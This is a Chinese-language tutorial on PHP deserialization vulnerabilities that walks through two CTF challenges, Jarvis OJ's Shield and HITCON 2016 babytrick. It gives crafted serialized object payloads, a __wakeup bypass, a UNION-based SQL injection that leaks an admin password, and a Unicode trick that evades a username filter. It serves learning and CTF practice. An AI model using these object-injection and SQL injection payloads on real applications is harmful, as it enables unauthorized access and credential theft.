PHP反序列化漏洞研究

序列化

序列化说通俗点就是把一个对象变成可以传输的字符串

php serialize()函数

用于序列化对象或数组，并返回一个字符串。序列化对象后，可以很方便的将它传递给其他需要它的地方，且其类型和结构不会改变。

<?php
$sites = array('Google', 'Microsoft', 'Facebook');
$serialized_data = serialize($sites);
echo  $serialized_data . PHP_EOL;
?>

输出：

a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}

解释
a: 代表数组（如果是o就代表对象(object)）
3: 代表数组里面有3个变量
i: 代表数据类型(i:int；s:string)
6: 代表数据长度

反序列化

php unserialize()函数

用于将通过 serialize() 函数序列化后的对象或数组进行反序列化，并返回原始的对象结构。

<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:9:"Microsoft";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>

输出：

Array ( [0] => Google [1] => Microsoft [2] => Facebook )

魔法方法

在php的语法中，有一些系统自带的方法名，均以双下划线开头，它会在特定的情况下被调用。即所谓的魔法函数。在这里主要涉及以下几个：

__construct()...........在每次创建新对象时先调用

__destruct()............某个对象的所有引用都被删除或者当对象被显式销毁时执行

__toString()............用于一个类被当成字符串时应怎样回应

__sleep() ..............在被序列化之前运行

__wakeup()..............反序列化时被调用

实例分析

Jarvis 神盾局的秘密

通过php文件包含漏洞获得源码，这里仅介绍后面的php反序列化漏洞部分

index.php:

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

shield.php

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

__construct函数在实例被创建的时候(也就是new Shield()的时候)执行，所以不会影响对$file的操作

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    $shield=new Shield('pctf.php');
    echo serialize($shield);
?>

输出：

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

payload:

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

Hitcon-ctf-2016 babytrick

https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick

<?php
//include：将 PHP 文件的内容插入另一个 PHP 文件
include "config.php";
class HITCON{
    //private：被private修饰的变量和方法，只能在所在的类的内部被调用和修改，不可以在类的外部被访问。在子类中也不可以。
    private $method;
    private $args;
    private $conn;
    //定义一个构造方法初始化赋值
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
        $this->__conn();
    }
    function show() {
        list($username) = func_get_args();
        //sprint:把格式化的字符串写入一个变量中
        $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
        $obj = $this->__query($sql);
        if ( $obj != false  ) {
            $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
        } else {
            $this->__die("Nobody Nobody But You!");
        }
        
    }
    function login() {
        global $FLAG;
        list($username, $password) = func_get_args();
        //trim:移除字符串两侧的空白字符或其他预定义字符
        //mysql_escape_string:转义特殊字符
        $username = strtolower(trim(mysql_escape_string($username)));
        $password = strtolower(trim(mysql_escape_string($password)));
        $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);
        //stripos：查找字符串第一次出现的位置
        if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
            $this->__die("Orange is so shy. He do not want to see you.");
        }
        $obj = $this->__query($sql);
        if ( $obj != false && $obj->role == 'admin'  ) {
            $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
        } else {
            $this->__die("Admin only!");
        }
    }
    function source() {
        //highlight_file：对文件进行语法高亮显示
        highlight_file(__FILE__);
    }
    function __conn() {
        global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
        if (!$this->conn)
            $this->conn = mysql_connect($db_host, $db_user, $db_pass);
        mysql_select_db($db_name, $this->conn);
        if ($DEBUG) {
            $sql = "CREATE TABLE IF NOT EXISTS users ( 
                        username VARCHAR(64), 
                        password VARCHAR(64), 
                        role VARCHAR(64)
                    ) CHARACTER SET utf8";
            $this->__query($sql, $back=false);
            $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
            $this->__query($sql, $back=false);
        } 
        mysql_query("SET names utf8");
        mysql_query("SET sql_mode = 'strict_all_tables'");
    }
    function __query($sql, $back=true) {
        $result = @mysql_query($sql);
        if ($back) {
            return @mysql_fetch_object($result);
        }
    }
    function __die($msg) {
        $this->__close();
        header("Content-Type: application/json");
        die( json_encode( array("msg"=> $msg) ) );
    }
    function __close() {
        mysql_close($this->conn);
    }
    function __destruct() {
        $this->__conn();
        if (in_array($this->method, array("show", "login", "source"))) {
            @call_user_func_array(array($this, $this->method), $this->args);
        } else {
            $this->__die("What do you do?");
        }
        $this->__close();
    }
    function __wakeup() {
        foreach($this->args as $k => $v) {
            $this->args[$k] = strtolower(trim(mysql_escape_string($v)));
        }
    }
}
if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);    
} else {
    new HITCON("source", array());
}
?>

源码审计：

php反序列化漏洞、对象注入，unserialize函数没有过滤而__wakeup函数进行了过滤，绕过__wakeup函数：对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行（参考链接4）

首先传入参数data需要构造序列化，通过sql注入获取orange用户的数据库密码

show()

function show() {
    list($username) = func_get_args();
    //sprint:把格式化的字符串写入一个变量中
    $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);
    $obj = $this->__query($sql);
    if ( $obj != false  ) {
        $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );
    } else {
        $this->__die("Nobody Nobody But You!");
    } 
}

通过分析show方法，构造如下：

payload:

<?php
class HITCON{
    private $method="show";
    private $args=array("yoloyanng' union select password,username,role from users where username = 'orange' -- ");
    private $conn=1;
}
$hit = new HITCON();
$result = serialize($hit);
var_dump($result);
?>

执行的sql语句为：

SELECT * FROM users WHERE username='lll' union select password,username,role from users where username = 'orange' -- '

疑问：不知为何username的值也是有限制，输入一些其他的字符并不能够得到结果

得到：

O:6:"HITCON":2:{s:14:"HITCONmethod";s:4:"show";s:12:"HITCONargs";a:1:{i:0;s:87:"lll' union select password,username,role from users where username = 'orange' -- ";}}s:12:"HITCONconn";i:1;}

构造如下：

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"lll' union select password,username,role from users where username='orange' -- ";}}s:12:"%00HITCON%00conn";i:1;}

说明：至于为什么加上%00：当字符串为private类型时，序列化时生成的序列化字符串中类名前后会有0×00

得到：{"msg":"root is admin"}

login()

function login() {
    global $FLAG;

    list($username, $password) = func_get_args();
    $username = strtolower(trim(mysql_escape_string($username)));
    $password = strtolower(trim(mysql_escape_string($password)));

    $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

    if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
        $this->__die("Orange is so shy. He do not want to see you.");
    }

    $obj = $this->__query($sql);
    if ( $obj != false && $obj->role == 'admin'  ) {
        $this->__die("Hi, Orange! Here is your flag: " . $FLAG);
    } else {
        $this->__die("Admin only!");
    }
}

 if ( $username == 'orange' || stripos($sql, 'orange') != false )

可以看到对于用户名进行了过滤，可以参考连接3的绕过方法

payload:

<?php
class HITCON{
    private $method;
    private $args;
    public function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$args['username'] = 'orÃnge';
$args['password'] = 'root';
$data = new HITCON('login',$args);
var_dump(serialize($data));
?>

得到：

O:6:"HITCON":2:{s:14:"HITCONmethod";s:5:"login";s:12:"HITCONargs";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

构造：

O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{s:8:"username";s:7:"orÃnge";s:8:"password";s:4:"root";}}

{"msg":"Hi, Orange! Here is your flag: HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"}

参考

（1）https://www.freebuf.com/articles/web/167721.html

（2）https://blog.csdn.net/qq_40996739/article/details/82724602

（3）https://blog.spoock.com/2016/11/08/hitcon-babytrick-writeup/

（4）https://www.freebuf.com/vuls/116705.html

来源：https://www.cnblogs.com/CH42e/p/11934785.html